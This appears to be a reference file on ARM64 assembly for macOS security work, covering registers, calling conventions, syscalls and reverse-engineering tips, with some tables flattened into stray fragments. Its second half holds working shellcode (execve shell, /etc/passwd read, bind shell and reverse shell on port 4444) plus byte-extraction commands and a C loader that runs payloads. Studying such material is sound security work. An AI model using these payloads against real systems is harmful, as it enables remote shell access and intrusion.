ARM64 Assembly Reference for macOS Security

This skill provides comprehensive reference material for ARM64 assembly language, with a focus on macOS security, reverse engineering, and exploitation.

Exception Levels (EL)

ARMv8 defines four exception levels that control privilege and capabilities:

SVC

HVC

Key transitions:

• EL0 → EL1:

  SVC

  (Supervisor Call) instruction
• EL1 → EL2:

  HVC

  (Hypervisor Call) instruction
• EL2 → EL3:

  SMC

  (Secure Monitor Call) instruction

General-Purpose Registers

ARM64 has 31 general-purpose registers (

x0

x30

w0

w30

Register Categories

x0

x7

x0

x8

x9

x15

x16

x17

x18

x19

x28

x29

fp

x30

lr

sp

pc

xzr

wzr

Special Registers

• TPIDR_EL0

  : Thread-local storage base (readable/writable from EL0)

• TPIDR_EL1

  : Thread-local storage (readable from EL0, writable from EL1)

Access via

mrs

msr

mrs x0, TPIDR_EL0    ; Read TPIDR_EL0 into x0
msr TPIDR_EL0, x0    ; Write x0 into TPIDR_EL0

SIMD/Floating-Point Registers

32 registers of 128-bit length, accessible at different widths:

• Qn

  : 128-bit

• Dn

  : 64-bit

• Sn

  : 32-bit

• Hn

  : 16-bit

• Bn

  : 8-bit

PSTATE (Process State)

Stored in

SPSR_ELx

N

Z

C

V

nRW

EL

SS

DAIF

SPS

Note: Not all instructions update flags. Use

cmp

tst

s

adds

subs

Calling Convention

Parameter Passing

1. First 8 parameters:

   x0

   through

   x7

2. Additional parameters: Passed on stack
3. Return value:

   x0

   (or

   x0

   +

   x1

   for 128-bit values)
4. Preserved across calls:

   x19

   -

   x28

   ,

   x29

   (fp),

   x30

   (lr),

   sp

Function Prologue

stp x29, x30, [sp, #-16]!  ; Save frame pointer and link register
mov x29, sp                 ; Set new frame pointer
sub sp, sp, #<size>         ; Allocate stack space for locals

Function Epilogue

add sp, sp, #<size>         ; Deallocate stack space
ldp x29, x30, [sp], #16     ; Restore frame pointer and link register
ret                         ; Return to caller

Common Instructions

Data Movement

mov

mov x0, x1

ldr

ldr x0, [x1]

str

str x0, [x1]

ldp

ldp x0, x1, [x2]

stp

stp x0, x1, [sp]

adrp

adrp x0, symbol

ldrsw

ldrsw x0, [x1]

Memory Addressing Modes

ldr x2, [x1, #8]           ; Offset mode: x1 + 8
ldr x2, [x1, #8]!          ; Pre-indexed: load x1+8, update x1
ldr x0, [x1], #8           ; Post-indexed: load x1, then x1+8
ldr x1, =_start            ; PC-relative addressing

Arithmetic

add

adds

add x0, x1, x2

sub

subs

sub x0, x1, x2

mul

mul x0, x1, x2

div

div x0, x1, x2

Shift operations:

add x5, x5, #1, lsl #12    ; x5 + (1 << 12) = x5 + 4096

Shifts and Rotates

lsl

lsr

asr

ror

rrx

Bitfield Operations

bfm

BFM Xd, Xn, #r

sbfm

SBFM Xd, Xn, #r, #s

ubfm

UBFM Xd, Xn, #r, #s

bfi

BFI X1, X2, #3, #4

bfxil

BFXIL X1, X2, #3, #4

sbfiz

SBFIZ X1, X2, #3, #4

ubfiz

UBFIZ X1, X2, #3, #4

Sign/Zero Extension

sxtb

sxth

sxtw

uxtb

uxth

uxtw

Comparison

cmp

subs

cmp x0, x1

cmn

adds

cmn x0, x1

ccmp

ccmp x3, x4, 0, NE

tst

tst x1, #7

teq

teq x0, x1

Branching

b

b myFunction

bl

bl myFunction

blr

blr x1

ret

ret

b.eq

b.eq label

b.ne

b.ne label

cbz

cbz x0, label

cbnz

cbnz x0, label

tbz

tbz x0, #8, label

tbnz

tbnz x0, #8, label

Conditional Select

csel

csel x0, x1, x2, EQ

csinc

csinc x0, x1, x2, EQ

cinc

cinc x0, x1, EQ

csinv

csinv x0, x1, x2, EQ

cset

cset x0, EQ

csetm

csetm x0, EQ

System Calls

mov x16, #59     ; syscall number (macOS uses x16)
svc #0x1337      ; trigger syscall (immediate doesn't matter)

macOS System Calls

BSD Syscalls

• Use

  x16 > 0

• Reference:

  /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h

• Source: syscalls.master

Mach Traps

• Use

  x16 < 0

  (negative numbers)
• Maximum:

  MACH_TRAP_TABLE_COUNT

  = 128
• Example:

  _kernelrpc_mach_vm_allocate_trap

  =

  -10

• Reference: syscall_sw.c

Common Syscall Numbers

exit

fork

execve

socket

connect

bind

listen

accept

dup

Finding Syscall Information

# Extract libsystem_kernel.dylib from dyld cache
dyldex -e libsystem_kernel.dylib /System/Volumes/Preboot/Cryptexes/OS/System/Library/dyld/dyld_shared_cache_arm64e

# Or check source directly
cat /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/include/sys/syscall.h

Comm Page

Kernel-owned memory page mapped into every user process for fast kernel access. Example:

gettimeofday

objc_msgSend

Objective-C/Swift message sending:

• x0

  :

  self

  (instance pointer)

• x1

  : selector (method name)

• x2

  +: method arguments

Debug with LLDB:

(lldb) po $x0              # Show object
(lldb) x/s $x1             # Show selector string
(lldb) po [$x0 launchPath] # Show property

Enable logging:

NSObjCMessageLoggingEnabled=1

Shellcode Examples

Basic Shell (execve /bin/sh)

.section __TEXT,__text
.global _main
.align 2

_main:
    adr  x0, sh_path      ; Address of "/bin/sh"
    mov  x1, xzr          ; argv[1] = NULL
    mov  x2, xzr          ; envp = NULL
    mov  x16, #59         ; execve syscall
    svc  #0x1337

sh_path: .asciz "/bin/sh"

Shell with Stack String

.section __TEXT,__text
.global _main
.align 2

_main:
    ; Build "/bin/sh" in x1
    mov  x1, #0x622F
    movk x1, #0x6E69, lsl #16
    movk x1, #0x732F, lsl #32
    movk x1, #0x68, lsl #48
    
    str  x1, [sp, #-8]    ; Store on stack
    
    mov  x1, #8
    sub  x0, sp, x1       ; x0 = address of string
    mov  x1, xzr
    mov  x2, xzr
    mov  x16, #59
    svc  #0x1337

Read /etc/passwd

.section __TEXT,__text
.global _main
.align 2

_main:
    sub sp, sp, #48       ; Allocate stack space
    mov x1, sp            ; x1 = argv array address
    
    adr x0, cat_path
    str x0, [x1]          ; argv[0] = "/bin/cat"
    
    adr x0, passwd_path
    str x0, [x1, #8]      ; argv[1] = "/etc/passwd"
    str xzr, [x1, #16]    ; argv[2] = NULL
    
    adr x0, cat_path      ; x0 = "/bin/cat"
    mov x2, xzr           ; envp = NULL
    mov x16, #59          ; execve
    svc 0

cat_path: .asciz "/bin/cat"
passwd_path: .asciz "/etc/passwd"

Bind Shell (port 4444)

.section __TEXT,__text
.global _main
.align 2

_main:
    ; socket(AF_INET, SOCK_STREAM, 0)
    mov  x16, #97
    lsr  x1, x16, #6      ; x1 = 1 (SOCK_STREAM)
    lsl  x0, x1, #1       ; x0 = 2 (AF_INET)
    mov  x2, xzr
    svc  #0x1337
    mvn  x3, x0           ; Save socket fd
    
    ; bind(s, &sockaddr, 16)
    mov  x1, #0x0210      ; sin_len=16, sin_family=2
    movk x1, #0x5C11, lsl #16  ; sin_port=4444
    str  x1, [sp, #-8]
    mov  x2, #8
    sub  x1, sp, x2
    mov  x2, #16
    mov  x16, #104
    svc  #0x1337
    
    ; listen(s, 2)
    mvn  x0, x3
    lsr  x1, x2, #3       ; x1 = 2
    mov  x16, #106
    svc  #0x1337
    
    ; accept(s, 0, 0)
    mvn  x0, x3
    mov  x1, xzr
    mov  x2, xzr
    mov  x16, #30
    svc  #0x1337
    mvn  x3, x0           ; Save client fd
    
    ; dup(c, 2) -> dup(c, 1) -> dup(c, 0)
    lsr  x2, x16, #4      ; x2 = 2
    lsl  x2, x2, #2       ; x2 = 8 (loop counter)
    
_dup_loop:
    mvn  x0, x3
    lsr  x1, x2, #1
    mov  x16, #90
    svc  #0x1337
    mov  x10, xzr
    cmp  x10, x2
    bne  _dup_loop
    
    ; execve("/bin/sh", 0, 0)
    mov  x1, #0x622F
    movk x1, #0x6E69, lsl #16
    movk x1, #0x732F, lsl #32
    movk x1, #0x68, lsl #48
    str  x1, [sp, #-8]
    mov  x1, #8
    sub  x0, sp, x1
    mov  x1, xzr
    mov  x2, xzr
    mov  x16, #59
    svc  #0x1337

Reverse Shell (127.0.0.1:4444)

.section __TEXT,__text
.global _main
.align 2

_main:
    ; socket(AF_INET, SOCK_STREAM, 0)
    mov  x16, #97
    lsr  x1, x16, #6
    lsl  x0, x1, #1
    mov  x2, xzr
    svc  #0x1337
    mvn  x3, x0
    
    ; connect(s, &sockaddr, 16)
    mov  x1, #0x0210
    movk x1, #0x5C11, lsl #16   ; port 4444
    movk x1, #0x007F, lsl #32   ; 127.0.0.1
    movk x1, #0x0100, lsl #48
    str  x1, [sp, #-8]
    mov  x2, #8
    sub  x1, sp, x2
    mov  x2, #16
    mov  x16, #98
    svc  #0x1337
    
    ; dup(s, 2) -> dup(s, 1) -> dup(s, 0)
    lsr  x2, x2, #2
_dup_loop:
    mvn  x0, x3
    lsr  x1, x2, #1
    mov  x16, #90
    svc  #0x1337
    mov  x10, xzr
    cmp  x10, x2
    bne  _dup_loop
    
    ; execve("/bin/sh", 0, 0)
    mov  x1, #0x622F
    movk x1, #0x6E69, lsl #16
    movk x1, #0x732F, lsl #32
    movk x1, #0x68, lsl #48
    str  x1, [sp, #-8]
    mov  x1, #8
    sub  x0, sp, x1
    mov  x1, xzr
    mov  x2, xzr
    mov  x16, #59
    svc  #0x1337

Building and Testing Shellcode

Compile Assembly

# Assemble
as -o shell.o shell.s

# Link (macOS)
ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib

# Or with xcrun
ld -o shell shell.o -syslibroot $(xcrun -sdk macosx --show-sdk-path) -lSystem

Extract Shellcode Bytes

# For older macOS
for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
    echo -n '\x'$c
done

# For newer macOS (byte order fix)
for s in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do
    echo -n $s | awk '{for (i = 7; i > 0; i -= 2) {printf "\\x" substr($0, i, 2)}}'
done

Test Shellcode (C Loader)

#include <stdio.h>
#include <sys/mman.h>
#include <string.h>
#include <stdlib.h>

int (*sc)();
char shellcode[] = "<INSERT SHELLCODE HERE>";

int main() {
    void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, 
                     MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0);
    memcpy(ptr, shellcode, sizeof(shellcode));
    mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ);
    sc = ptr;
    sc();
    return 0;
}

Compile:

gcc loader.c -o loader

AArch32 Execution State

ARMv8 can execute 32-bit code in AArch32 state:

Instruction Sets

• A32: 32-bit ARM instructions
• T32: 16/32-bit Thumb instructions

Transition

• 64-bit → 32-bit: Lower exception level (e.g., EL1 → EL0)
• Set bit 4 of

  SPSR_ELx

  to 1
• Use

  ERET

  to transition

AArch32 Registers

r0

r14

r11

r12

r13

r14

r15

CPSR (Current Program Status Register)

Similar to PSTATE in AArch64:

• APSR: Application flags (N, Z, C, V, Q, GE)
• J/T bits: Instruction set selection (J=0, T=0 → A32; J=0, T=1 → T32)
• E bit: Endianness
• Mode bits: Current execution mode

Tips for Reverse Engineering

1. Look for prologue/epilogue patterns to identify function boundaries
2. Check x16 before svc to identify syscall numbers
3. Follow x0-x7 to trace function arguments
4. Use x29 (fp) to navigate stack frames
5. Watch x30 (lr) for return addresses
6. Check for objc_msgSend in Objective-C/Swift binaries
7. Use LLDB to inspect registers at breakpoints
8. Reference libsystem_kernel.dylib for syscall implementations

References

• Apple Swift ABI - ARM64 Calling Convention
• XNU syscalls.master
• macOS ARM64 Shellcode
• ARM Architecture Reference Manual